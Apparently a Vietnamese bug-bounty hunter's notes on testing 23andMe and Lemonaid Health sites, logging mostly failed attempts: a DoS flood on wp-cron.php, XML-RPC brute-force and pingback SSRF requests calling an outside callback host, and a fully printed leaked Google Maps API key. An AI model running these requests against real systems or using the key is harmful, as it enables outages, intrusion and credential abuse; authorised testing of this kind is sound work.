Google Maps API Keys ❌
Có một API key của Google Maps bị leak. Kiểm tra streaak/keyhacks thì thấy có thể dùng endpoint Static Map với giá $2 mỗi 1000 request (cho 100k request đầu tiên).
https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Tuy nhiên, program cũng đã đề cập trong phần out-of-scope là:
Not all submissions involving third-party vendors will be eligible for a reward or considered in scope, but we can review them on a case-by-case basis.
- (e.g. Chatbot AI Agent powered by Ada, Zendesk, Braintree etc..).
- (e.g. Google Maps API keys)
Ngoài ra, ở trang clinic.lemonaidhealth.com
cũng có script chứa API key của Goole Maps:
.constant("google_maps","AIzaSyAM5ekW2GcyM7154o_kMQAyj6jYicPqfkY")
API key này có thể dùng 3 endpoints:
"Geocoding": "https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE",
"Timezone": "https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE",
"Geolocate": "https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE",
Tuy nhiên, cả 3 endpoint này đều được sử dụng trong file JavaScript và chúng được cố ý để lộ.
WordPress ❌
Phát hiện một số trang sử dụng WordPress thông qua Wappalyzer và nuclei
:
https://medical.23andme.com
https://research.23andme.com
https://blog.23andme.com
https://healthaid.lemonaidhealth.com
Do các domain là WordPress thường chỉ để đăng thông tin và không có nhiều giá trị nên ta không nên đào sâu.
~~~ad-quote
However, some bug bounty hunters get intimidated as WordPress targets are often used as a blogging or documentation platform.
~~~
Tuy nhiên, do đây là lần đầu tiên thực hiện nên có thể áp dụng thử các kỹ thuật tấn công WordPress đã được đề cập ở [[2025-02-15]].
title: [5 Ways to hack WordPress targets | Intigriti](https://www.intigriti.com/researchers/blog/hacking-tools/hacking-wordpress-targets)
- [x] Chạy các scanner dành cho WordPress chẳng hạn như `wpscan` và `wpprobe` để tìm version của WordPress.
- [x] Scan tất cả các backup file của PHP/WordPress bằng cách thêm `~` và `.save` ở cuối tên file. Có thể thử các extension khác chẳng hạn như `.zip`, `.rar`, `.tar`, `.tar.gz`, `.bak`, `.gz`. Một số wordlist:
- [x] [wordlists/discovery/backup_files_only.txt at master · xajkep/wordlists](https://github.com/xajkep/wordlists/blob/master/discovery/backup_files_only.txt)
- [x] [Security-Wordlist/Backup-wp-config.php-WordList.txt at main · DragonJAR/Security-Wordlist](https://github.com/DragonJAR/Security-Wordlist/blob/main/Backup-wp-config.php-WordList.txt)
- [x] Kiểm tra các lỗi misconfig của WordPress:
- [x] Open Registration
- [x] Directory Listing (`/wp-content`)
- [x] WordPress user enumeration via REST API (`/wp-json/wp/v2/users`, `/wp-json/wp/v2/users/1` và `/?rest_route=/wp-json/wp/v2/users`)
- [x] Sử dụng XMLRPC endpoint để brute-force login credentials
- [x] Fuzz các plugins ở đường dẫn `/wp-content/plugins/FUZZ/readme.txt`, tìm version và tìm public exploits nếu có thể ([WordPress Plugin Vulnerabilities | WPScan](https://wpscan.com/plugins/)). Trong trường hợp không có public exploits, có thể thực hiện white-box testing cho các plugins này nếu có thời gian.
wp-cron.php
❌
Khi quét wpscan
thì thấy trang https://healthaid.lemonaidhealth.com
có một finding như sau:
[+] The external WP-Cron seems to be enabled: https://healthaid.lemonaidhealth.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
Thử tra cứu các tấn công liên quan đến file wp-cron.php
thì thấy được report sau: U.S. Dept Of Defense | Report #1888723 - WordPress application vulnerable to DoS attack via wp-cron.php | HackerOne.
Đã thử dùng Intruder để gửi request với 999 threads và 10000 payloads nhưng server vẫn hoạt động bình thường.
Sử dụng doser.go với 999 threads:
doser -t 999 -g https://healthaid.lemonaidhealth.com/wp-cron.php
Nhưng server vẫn không chết.
Open Registration ❌
Sử dụng ffuf
để fuzz tất cả các domain WordPress với wordlist bao gồm wp-login.php?action=register
và wp-register.php
.
Kết quả cho thấy chỉ có domain healthaid.lemonaidhealth.com
là có endpoint wp-login.php?action=register
và wp-register.php
.
Tuy nhiên, endpoint `wp-register.php` redirect về `wp-login.php?action=register` mà `wp-login.php?action=register` thì lại redirect về `wp-login.php?registration=disabled`. Điều này cho thấy domain đã disable tính năng đăng ký user.
XML-RPC ❌
Phát hiện XML-RPC endpoint ở domain healthaid.lemonaidhealth.com
:
[+] XML-RPC seems to be enabled: https://healthaid.lemonaidhealth.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
Làm theo hướng dẫn của Wordpress - HackTricks để thực hiện các tấn công.
Trước tiên, gửi POST request đến endpoint /xmlrpc.php
:
POST /xmlrpc.php HTTP/2
Host: healthaid.lemonaidhealth.com
Cookie: nitroCachedPage=1; wordpress_test_cookie=WP%20Cookie%20check
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Response có method wp.getUsersBlogs
mà có thể tận dụng để brute-force credentials:
<value><string>wp.getUsersBlogs</string></value>
Thử gọi POST request với body như sau:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Server cho biết rằng các dịch vụ XML-RPC đã bị disabled:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>405</int></value>
</member>
<member>
<name>faultString</name>
<value><string>XML-RPC services are disabled on this site.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Thử thực hiện port enum sử dụng method pingback.ping
:
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://127.0.0.1:80</string></value>
</param>
<param>
<value><string>http://d089fappnbdvaf0l8t20b354r9u5tpmxf.insomnia1102.online</string></value>
</param>
</params>
</methodCall>
Tuy nhiên, response luôn có faultCode
là 0
, cho biết rằng ta không thể enum port.
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Thử truy vấn đến /wp-json/oembed/1.0/proxy?url=d089fappnbdvaf0l8t20b354r9u5tpmxf.insomnia1102.online
để thực hiện SSRF cũng không thành công.
Plugins ❌
Khi quét bằng wpscan
thì trang healthaid.lemonaidhealth.com
có một finding về outdated version của một plugin như sau:
[+] premium-addons-for-elementor
| Location: https://healthaid.lemonaidhealth.com/wp-content/plugins/premium-addons-for-elementor/
| Last Updated: 2025-04-24T15:41:00.000Z
| [!] The version is out of date, the latest version is 4.11.5
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 4.11.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://healthaid.lemonaidhealth.com/wp-content/plugins/premium-addons-for-elementor/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://healthaid.lemonaidhealth.com/wp-content/plugins/premium-addons-for-elementor/readme.txt
Danh sách các lỗ hổng của plugin này: Premium Addons for Elementor WordPress Plugin Security Vulnerabilities | WPScan. Lỗ hổng gần nhất đã được fix ở bản 4.10.57
. Không có lỗ hổng nào đã được công bố ở các phiên bản sau 4.11.3
.
- [x] Download source code về và dùng tool để quét lỗ hổng (chẳng hạn như SemGrep).
- [-] Phân tích plugin để tìm lỗ hổng (cần nhiều thời gian - skip).
GraphQL ❌
Phát hiện blog.23andme.com
gửi API có chứa GraphQL query/mutation đến blog-api.23andme.com
thông qua endpoint /graphql
.
- [-] Trích xuất tất cả các query có trong các file JavaScript của `blog.23andme.com`
Tìm thấy các query/mutation ở trong file https://blog.23andme.com/_next/static/chunks/pages/_app-7bef4e8eebec63b0.js
. Sau khi dùng webcrack
để deobfuscate thì tìm thấy các đoạn code sau có khả năng là định nghĩa của các query:
posts: {
__type: "RootQueryToPostConnection",
__args: {
after: "String",
before: "String",
first: "Int",
last: "Int",
where: "RootQueryToPostConnectionWhereArgs"
}
},
Các đoạn code trên tương ứng với câu query sau:
query (
$first1: Int,
$where2: RootQueryToPostConnectionWhereArgs
) {
posts_f30bc_9c5c1: posts(first: $first1, where: $where2) {
__typename
nodes {
__typename
featuredImage {
__typename
node {
__typename
id
mediaDetails {
__typename
sizes_cad4b_bf21a: sizes {
__typename
sourceUrl
}
}
}
}
id
imageOptions {
__typename
featuredImageSquare {
__typename
id
mediaDetails {
__typename
sizes_cad4b_bf21a: sizes {
__typename
sourceUrl
}
}
}
}
}
}
themeSettings {
__typename
ads {
__typename
bannerAd {
__typename
condition {
__typename
value
}
}
}
}
}
Đây là cú pháp của một plugin tên là WPGraphQL.
Tuy nhiên, khi kiểm tra scope của program thì thấy blog-api.23andme.com
không nằm trong scope nên ta sẽ bỏ qua attack surface này.
OAuth
URL dùng để login bằng OAuth:
https://auth.23andme.com/authorize/?redirect_uri=https://you.23andme.com/auth_callback/&response_type=code&client_id=you&scope=openid ancestry basic haplogroups names phenotypes:read:all profile_id:all use_authdot_token&state={"origin_uri": "/"}
Thử sửa redirect_uri
thành domain 123.you.23andme.com
và hoàn thành flow log in thì nhận được response như sau:
<h3>Redirect URI Error</h3>
<p>The request fails due to a missing, invalid, or mismatching redirection URI (redirect_uri).</p>
Điều này cho thấy ta không thể thay đổi redirect_uri
.
Ngoài ra, có thể thấy rằng state
của URL là một giá trị cố định. Điều này có thể dẫn đến lỗ hổng Login CSRF: kẻ tấn công dụ nạn nhân đăng nhập tài khoản của mình mà không cần username & password. Nếu nạn nhân không hay biết mà đăng lên những thông tin nhạy cảm thì có thể bị lộ thông tin do kẻ tấn công có thể xem được. Tham khảo Flawed CSRF Protection.
Đã tạo report [[Report 3120867]].
Tuy nhiên, lỗ hổng login CSRF không được xem là một lỗ hổng theo Core Ineligible Findings của HackerOne: [Core Ineligible Findings | HackerOne Help Center](https://docs.hackerone.com/en/articles/8494488-core-ineligible-findings) và report đã bị đóng lại.
Để có lỗ hổng CSRF thông qua OAuth, ta cần tìm chức năng liên kết tài khoản với các third-party service rồi tấn công.